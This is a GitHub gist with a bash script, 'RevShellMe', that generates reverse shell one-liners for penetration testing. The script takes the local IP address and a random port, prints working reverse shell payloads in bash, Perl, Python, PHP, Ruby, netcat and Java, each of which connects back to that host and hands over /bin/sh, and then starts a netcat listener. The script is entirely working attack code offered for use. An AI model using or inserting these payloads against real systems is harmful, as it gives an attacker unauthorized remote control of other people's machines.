Created
June 5, 2018 19:57
-
-
Save ticarpi/434fc6f459bec10f174f23dd9a2320e1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
ip_addr=`ip addr | grep "inet 192" | cut -d" " -f6 | cut -d"/" -f1` | |
rand_port=`head -n10 /dev/urandom | tr -dc "1-9" | tail -c4` | |
echo "#############################################################" | |
echo "# RevShellMe - a script for lazy Reverse Shells by @ticarpi #" | |
echo "# [Payloads loving stolen from @pentestmonkey] #" | |
echo "#############################################################" | |
echo | |
echo "[*] Current IP: "$ip_addr | |
echo "[*] Random port: "$rand_port | |
echo | |
echo "=============================================================" | |
echo | |
echo [+] Bash Payload: | |
echo "bash -i >& /dev/tcp/${ip_addr}/${rand_port} 0>&1" | |
echo | |
echo [+] Perl Payload: | |
echo "perl -e 'use Socket;\$i=\"${ip_addr}\";\$p=${rand_port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" | |
echo | |
echo [+] Python Payload: | |
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${ip_addr}\",${rand_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" | |
echo | |
echo [+] PHP Payload: | |
echo "php -r '\$sock=fsockopen(\"${ip_addr}\",${rand_port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'" | |
echo | |
echo [+] Ruby Payload: | |
echo "ruby -rsocket -e'f=TCPSocket.open(\"${ip_addr}\",${rand_port}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" | |
echo | |
echo [+] Netcat Payload: | |
echo "nc -e /bin/sh ${ip_addr} ${rand_port}" | |
echo | |
echo [+] Netcat Payload: | |
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${ip_addr} ${rand_port} >/tmp/f" | |
echo | |
echo [+] Java Payload: | |
echo 'r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/'$ip_addr'/'$rand_port';cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor()' | |
echo | |
echo "=============================================================" | |
echo | |
echo [+] Opening Netcat listener on port $rand_port | |
nc -lvnp $rand_port |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment